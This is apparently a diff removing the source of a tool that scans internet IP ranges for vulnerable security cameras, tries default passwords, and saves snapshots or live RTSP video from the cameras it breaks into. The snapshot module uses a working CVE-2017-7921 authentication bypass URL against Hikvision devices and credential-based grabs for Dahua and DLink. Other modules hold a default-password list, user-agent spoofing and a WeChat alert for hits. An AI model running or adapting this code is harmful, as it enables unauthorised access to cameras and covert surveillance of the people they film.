||||
parser.add_argument('--user', type=str, required=True, help='user name')
|
||||
parser.add_argument('--passwd', type=str, required=True, help='password')
|
||||
parser.add_argument('--x', type=int, default=0, required=False, help='window location x')
|
||||
parser.add_argument('--y', type=int, default=0, required=False, help='window location y')
|
||||
parser.add_argument('--height', type=int, default=640, required=False, help='window height')
|
||||
|
||||
args = parser.parse_args()
|
||||
return args
|
||||
|
||||
|
||||
def show(args):
|
||||
with rtsp.Client(rtsp_server_uri=f"rtsp://{args.user}:{args.passwd}@{args.ip}:554", verbose=False) as client:
|
||||
win_name = f"{args.ip}({args.user}:{args.passwd})"
|
||||
cv2.namedWindow(win_name, cv2.WINDOW_NORMAL)
|
||||
cv2.moveWindow(win_name, args.x, args.y) # window location
|
||||
|
||||
while (client.isOpened()):
|
||||
img = client.read(raw=True) # camera img
|
||||
|
||||
# resize
|
||||
scale = args.height / img.shape[0]
|
||||
img = cv2.resize(img, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)
|
||||
|
||||
cv2.imshow(win_name, img)
|
||||
if cv2.waitKey(30) == ord('q'): # wait 30 ms for 'q' input
|
||||
break
|
||||
cv2.waitKey(1)
|
||||
cv2.destroyAllWindows()
|
||||
cv2.waitKey(1)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
args = get_parser()
|
||||
show(args)
|
||||
@@ -1,42 +0,0 @@
|
||||
import os
|
||||
import sys
|
||||
|
||||
from flask import Flask
|
||||
from flask import render_template, redirect, url_for
|
||||
|
||||
|
||||
app = Flask(__name__)
|
||||
ip_file_path = sys.argv[1]
|
||||
items_per_page = 50
|
||||
|
||||
|
||||
ip_list = []
|
||||
with open(ip_file_path, 'r') as f:
|
||||
for line in f:
|
||||
if line:
|
||||
ip_list.append(line.strip())
|
||||
|
||||
|
||||
@app.route('/')
|
||||
def index():
|
||||
return redirect(url_for('get_page', page_num=0))
|
||||
|
||||
|
||||
@app.route('/<int:page_num>')
|
||||
def get_page(page_num=0):
|
||||
context = {}
|
||||
context['title'] = os.path.basename(ip_file_path)
|
||||
|
||||
page_count = len(ip_list) // items_per_page + 1 if len(ip_list) % items_per_page else len(ip_list) // items_per_page
|
||||
context['page_count'] = page_count
|
||||
if page_num < 0 or page_num >= page_count:
|
||||
context['page_num'] = 0
|
||||
context['page_num'] = page_num
|
||||
|
||||
context['ip_list'] = ip_list[page_num * items_per_page : (page_num + 1) * items_per_page]
|
||||
|
||||
return render_template('index.html', context=context)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(debug=True, host='0.0.0.0', port=8000)
|
||||
@@ -1,54 +0,0 @@
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<meta http-equiv="X-Frame-Options" content="SAMEORIGIN / DENY ">
|
||||
<title>{{context['title']}}</title>
|
||||
|
||||
<style>
|
||||
iframe {
|
||||
width: 960px;
|
||||
height: 660px;
|
||||
transform-origin: left top;
|
||||
transform: scale(0.45);
|
||||
border: none;
|
||||
border-radius: 1rem;
|
||||
box-shadow: 0 0 20px 10px rgba(0, 0, 0, 0.42);
|
||||
}
|
||||
|
||||
#box {
|
||||
float: left;
|
||||
width: 430px;
|
||||
height: 320px;
|
||||
margin: 6px;
|
||||
}
|
||||
#box-title{
|
||||
margin: 3px;
|
||||
padding: 0;
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- previous and next page button -->
|
||||
<div style="text-align: center; margin: 10px;">
|
||||
{% if context['page_num'] != 0 %}
|
||||
<a href="{{ url_for('get_page', page_num=context['page_num'] - 1) }}">Previous</a>
|
||||
{% endif %}
|
||||
{% if context['page_num'] < context['page_count'] %}
|
||||
<a href="{{ url_for('get_page', page_num=context['page_num'] + 1) }}">Next</a>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
<!-- container of boxes -->
|
||||
<div style="width: 100%;">
|
||||
{% for ip in context['ip_list'] %}
|
||||
<div id="box"L>
|
||||
<div id="box-title">
|
||||
<a href="http://{{ip}}" target=_blank>{{ip}}</a>
|
||||
</div>
|
||||
<iframe scrolling=no src="http://{{ip}}" security="restricted" sandbox="allow-scripts allow-same-origin allow-popups"></iframe>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
</body>
|
||||
-114
@@ -1,114 +0,0 @@
|
||||
"""Basic Utils"""
|
||||
import os
|
||||
import time
|
||||
from multiprocessing import Pool
|
||||
from multiprocessing.pool import ThreadPool
|
||||
|
||||
|
||||
def save_res(res: list, out_path: str) -> None:
|
||||
"""save a result record to file
|
||||
format should be: [ip, port, user, passwd, device, vulnerability]
|
||||
"""
|
||||
with open(out_path, 'a') as f:
|
||||
f.write(f"{','.join(res)}\n")
|
||||
|
||||
|
||||
def run_time(func):
|
||||
def wrapper(*args, **kwargs):
|
||||
t0 = time.time()
|
||||
res = func(*args, **kwargs)
|
||||
print(f"\n>Time used: {time_formatter(time.time() - t0)}")
|
||||
return res
|
||||
return wrapper
|
||||
|
||||
|
||||
# @run_time
|
||||
def multi_process(func, items, processes=40):
|
||||
"""multiprocess API"""
|
||||
with Pool(processes) as pool:
|
||||
res = pool.map_async(func, items).get()
|
||||
return res
|
||||
|
||||
|
||||
# @run_time
|
||||
def multi_thread(func, items, processes=40):
|
||||
"""multiprocess API"""
|
||||
with ThreadPool(processes) as pool:
|
||||
res = pool.map_async(func, items).get()
|
||||
return res
|
||||
|
||||
|
||||
def output_formatter(info, color='green', bold=False, underline=False, flash=False):
|
||||
"""output format
|
||||
head + [bold/underline/flash] + color + info + tail
|
||||
"""
|
||||
head = '\033['
|
||||
tail = '\033[0m'
|
||||
_bold = '1;'
|
||||
_underline = '4;'
|
||||
_flash = '5;'
|
||||
colors = {
|
||||
'red' : '31m',
|
||||
'green' : '32m',
|
||||
'yellow' : '33m',
|
||||
'blue' : '34m',
|
||||
'pink' : '35m',
|
||||
'cyan' : '36m',
|
||||
'white' : '37m',
|
||||
}
|
||||
bold = _bold if bold else ''
|
||||
underline = _underline if underline else ''
|
||||
flash = _flash if flash else ''
|
||||
color = colors[color] if color in colors else colors['green']
|
||||
|
||||
return head + bold + underline + flash + color + str(info) + tail
|
||||
|
||||
|
||||
def printf(info, color='green', bold=False, underline=False, flash=False, *args, **kwargs):
|
||||
print(output_formatter(info, color=color, bold=bold, underline=underline, flash=flash), *args, **kwargs)
|
||||
|
||||
|
||||
def time_formatter(t: float) -> str:
|
||||
"""format the time"""
|
||||
if t > 60 * 60: return f"{int(t / (60 * 60))}h " + time_formatter(t % (60 * 60))
|
||||
elif t > 60: return f"{int(t / 60)}m " + time_formatter(t % 60)
|
||||
else: return f"{int(t)}s"
|
||||
|
||||
|
||||
def process_bar(cidx=[0]):
|
||||
def wrapper(total, done, found=0, timer=False, start_time=0):
|
||||
"""since tqdm cant be used when we use mutiprocess"""
|
||||
# icon
|
||||
icon_list = '⇐⇖⇑⇗⇒⇘⇓⇙'
|
||||
icon = output_formatter(icon_list[cidx[0]], color='green', bold=True)
|
||||
cidx[0] = cidx[0] + 1 if cidx[0] < len(icon_list) - 1 else 0
|
||||
icon = f"[{icon}]"
|
||||
|
||||
# time
|
||||
if timer and start_time != 0:
|
||||
time_used = time.time() - start_time
|
||||
done = done + 1 if done == 0 else done # avoid the devision number is zero
|
||||
time_pred = time_used * (total / done)
|
||||
time_used = output_formatter(time_formatter(time_used), color='cyan', bold=True)
|
||||
time_pred = output_formatter(time_formatter(time_pred), color='white', bold=True)
|
||||
_time = f"Time: {time_used}/{time_pred}"
|
||||
|
||||
# count
|
||||
_total = output_formatter(total, color='blue', bold=True)
|
||||
_done = output_formatter(done, color='blue', bold=True)
|
||||
_percent = output_formatter(f"{round(done / total * 100, 1)}%", color='pink', bold=True)
|
||||
_found = 'Found ' + output_formatter(found, color='red', bold=True) if found else ''
|
||||
count = f"{_done}/{_total}({_percent}) {_found}"
|
||||
|
||||
print(f"\r{icon} {count} {_time:<55}", end='')
|
||||
return wrapper
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
found, t0 = 0, time.time()
|
||||
bar = process_bar()
|
||||
for i in range(1, 10001):
|
||||
time.sleep(.05)
|
||||
found += 1 if not i % 10 else 0
|
||||
bar(10000, i, found, timer=True, start_time=t0)
|
||||
print()
|
||||
-126
@@ -1,126 +0,0 @@
|
||||
"""Some tools about camera"""
|
||||
import os
|
||||
import sys
|
||||
import requests
|
||||
import argparse
|
||||
from functools import partial
|
||||
from xml.etree import ElementTree
|
||||
from requests.auth import HTTPDigestAuth
|
||||
|
||||
import rtsp
|
||||
from PIL import Image
|
||||
|
||||
CWD = os.path.dirname(__file__)
|
||||
sys.path.append(os.path.join(CWD, '..'))
|
||||
from utils.base import multi_thread, printf
|
||||
from utils.net import get_user_agent
|
||||
from utils.config import TIMEOUT, MAX_RETRIES, DEBUG
|
||||
|
||||
|
||||
def get_parser():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--ip', type=str, required=False)
|
||||
parser.add_argument('--port', type=str, required=False)
|
||||
parser.add_argument('--user', type=str, required=False)
|
||||
parser.add_argument('--passwd', type=str, required=False)
|
||||
parser.add_argument('--device', type=str, required=False)
|
||||
parser.add_argument('--vulnerability', type=str, required=False)
|
||||
parser.add_argument('--in_file', type=str, required=False, default='')
|
||||
parser.add_argument('--sv_path', type=str, required=True)
|
||||
|
||||
args = parser.parse_args()
|
||||
return args
|
||||
|
||||
|
||||
def save_snapshot(args) -> None:
|
||||
snapshot_path = os.path.join(args.sv_path, 'snapshots')
|
||||
if not os.path.exists(snapshot_path): os.makedirs(snapshot_path)
|
||||
|
||||
# snapshot all the targets in the file
|
||||
if args.in_file:
|
||||
with open(args.in_file, 'r') as f: items = [l.strip().split(',') for l in f if l.strip()]
|
||||
_func = partial(snapshot_switch, snapshot_path=snapshot_path)
|
||||
multi_thread(_func, items, processes=32)
|
||||
else:
|
||||
camera_info = [args.ip, args.port, args.user, args.passwd, args.device, args.vulnerability]
|
||||
snapshot_switch(camera_info, snapshot_path)
|
||||
|
||||
|
||||
def snapshot_switch(camera_info, snapshot_path):
|
||||
"""select diff func to save snapshot"""
|
||||
ip, port, user, passwd, device, vul = camera_info
|
||||
# cve-2017-7921
|
||||
if vul == 'cve-2017-7921':
|
||||
file_name = os.path.join(snapshot_path, f"{ip}-{port}-cve_2017_7921.jpg")
|
||||
url = f"http://{ip}:{port}/onvif-http/snapshot?auth=YWRtaW46MTEK"
|
||||
snapshot_by_url(url, file_name)
|
||||
# if we can get the password
|
||||
elif passwd:
|
||||
file_name = os.path.join(snapshot_path, f"{ip}-{port}-{user}-{passwd}.jpg")
|
||||
# Hikvision
|
||||
if device == 'Hikvision':
|
||||
# get channels
|
||||
channels = 1
|
||||
try:
|
||||
r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels", auth=HTTPDigestAuth(user, passwd))
|
||||
root = ElementTree.fromstring(r.text)
|
||||
channels = len(root)
|
||||
except Exception as e:
|
||||
if DEBUG: printf(e, color='red', bold=True)
|
||||
# get all snapshots of all channels
|
||||
for ch in range(1, channels + 1):
|
||||
url = f"http://{ip}:{port}/ISAPI/Streaming/channels/{ch}01/picture"
|
||||
file_name = os.path.join(snapshot_path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
|
||||
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
|
||||
# Dahua
|
||||
elif device.startswith('Dahua'):
|
||||
if '-' in device: channels = int(device.split('-')[1])
|
||||
else: channels = 1
|
||||
for ch in range(1, channels + 1):
|
||||
url = f"http://{ip}:{port}/cgi-bin/snapshot.cgi?channel={ch}"
|
||||
file_name = os.path.join(snapshot_path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
|
||||
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
|
||||
# DLink
|
||||
elif device == 'DLink':
|
||||
url = f"http://{ip}:{port}/dms?nowprofileid=1"
|
||||
snapshot_by_url(url, file_name, auth=(user, passwd))
|
||||
|
||||
|
||||
def snapshot_by_url(url, file_name, auth=None):
|
||||
for _ in range(MAX_RETRIES):
|
||||
try:
|
||||
headers = {'User-Agent': get_user_agent(), }
|
||||
if auth: r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=headers)
|
||||
else: r = requests.get(url, timeout=TIMEOUT, verify=False, headers=headers)
|
||||
if r.status_code == 200:
|
||||
with open(file_name, 'wb') as f: f.write(r.content)
|
||||
break
|
||||
except Exception as e:
|
||||
if DEBUG: printf(e, color='red', bold=True)
|
||||
|
||||
|
||||
# This one is not always work! Many bugs...
|
||||
def snapshot_by_rtsp(ip, port, user, passwd, sv_path, multiplay=False):
|
||||
"""get snapshot through rtsp """
|
||||
try:
|
||||
if not multiplay: url = f"rtsp://{user}:{passwd}@{ip}:554"
|
||||
else: url = f"rtsp://{user}:{passwd}@{ip}:554/h264/ch0/main/av_stream"
|
||||
with rtsp.Client(rtsp_server_uri=url, verbose=False) as client:
|
||||
while client.isOpened():
|
||||
img_bgr = client.read(raw=True)
|
||||
if not img_bgr is None:
|
||||
img_rgb = img_bgr.copy()
|
||||
img_rgb[:,:,0] = img_bgr[:,:,2]
|
||||
img_rgb[:,:,1] = img_bgr[:,:,1]
|
||||
img_rgb[:,:,2] = img_bgr[:,:,0]
|
||||
name = f"{ip}-{port}-{user}-{passwd}.jpg"
|
||||
img = Image.fromarray(img_rgb)
|
||||
img.save(os.path.join(sv_path, name))
|
||||
break
|
||||
except Exception as e:
|
||||
if DEBUG: printf(e, color='red', bold=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
args = get_parser()
|
||||
save_snapshot(args)
|
||||
@@ -1,44 +0,0 @@
|
||||
"""configuration file"""
|
||||
|
||||
#----------------------------
|
||||
# overall
|
||||
#----------------------------
|
||||
DEBUG = False
|
||||
TIMEOUT = 2
|
||||
|
||||
|
||||
#----------------------------
|
||||
# file names
|
||||
#----------------------------
|
||||
MASSCAN_TMP = 'masscan_tmp'
|
||||
MASSCAN_RESULTS = 'masscan_results'
|
||||
PAUSE = 'paused'
|
||||
RESULTS_ALL = 'results_all.csv'
|
||||
RESULTS_SIMPLE = 'results_simple.csv'
|
||||
RESULTS_FAILED = 'not_vulnerable.csv'
|
||||
|
||||
|
||||
#----------------------------
|
||||
# camera
|
||||
#----------------------------
|
||||
USERS = ['admin']
|
||||
PASSWORDS = ['admin', 'admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc']
|
||||
|
||||
|
||||
#----------------------------
|
||||
# snapshot
|
||||
#----------------------------
|
||||
MAX_RETRIES = 2
|
||||
|
||||
|
||||
#----------------------------
|
||||
# wechat
|
||||
#----------------------------
|
||||
# please refer to https://wxpusher.zjiecode.com/docs/#/
|
||||
UIDS = ['']
|
||||
TOKEN = ''
|
||||
|
||||
|
||||
#----------------------------
|
||||
# email (not supported yet...)
|
||||
#----------------------------
|
||||
@@ -1,62 +0,0 @@
|
||||
"""Network Tools"""
|
||||
import random
|
||||
|
||||
import IPy
|
||||
|
||||
|
||||
def get_ip_segment(start: str, end: str) -> str:
|
||||
return IPy.IP(f"{start}-{end}", make_net=True).strNormal()
|
||||
|
||||
|
||||
def get_ip_seg_len(ip_seg: str) -> int:
|
||||
return IPy.IP(ip_seg, make_net=True).len()
|
||||
|
||||
|
||||
def get_all_ip(ip_seg: str) -> list:
|
||||
return [i.strNormal() for i in IPy.IP(ip_seg, make_net=True)]
|
||||
|
||||
|
||||
def get_user_agent(name='random'):
|
||||
user_agents = {'chrome': ["Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
|
||||
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
|
||||
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
|
||||
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
|
||||
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
|
||||
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
|
||||
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",],
|
||||
'firefox': ["Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0 ",
|
||||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14",
|
||||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"],
|
||||
'opera': ["Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11",
|
||||
"Opera/9.80 (Android 2.3.4; Linux; Opera mobi/adr-1107051709; U; zh-cn) Presto/2.8.149 Version/11.10",],
|
||||
'safari': ["Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",],
|
||||
'ie': ["Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"],}
|
||||
if name in user_agents:
|
||||
return random.choice(user_agents[name])
|
||||
return random.choice(random.choice(list(user_agents.values())))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# print(get_ip_segment('2.56.8.0', '2.56.9.255'))
|
||||
# print(get_all_ip('192.168.0.1/31'))
|
||||
# print(get_all_ip('2.56.8.0-2.56.9.255'))
|
||||
print(get_user_agent('random'))
|
||||
@@ -1,18 +0,0 @@
|
||||
"""Wecheet Pusher"""
|
||||
import os
|
||||
import sys
|
||||
|
||||
from wxpusher import WxPusher
|
||||
|
||||
CWD = os.path.dirname(__file__)
|
||||
sys.path.append(os.path.join(CWD, '..'))
|
||||
from utils.config import UIDS, TOKEN
|
||||
|
||||
|
||||
def send_msg(content: str = "default content") -> dict:
|
||||
return WxPusher.send_message(uids=UIDS, token=TOKEN, content=f'{content}')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# just for testing
|
||||
print(send_msg())
|
||||
Reference in New Issue
Block a user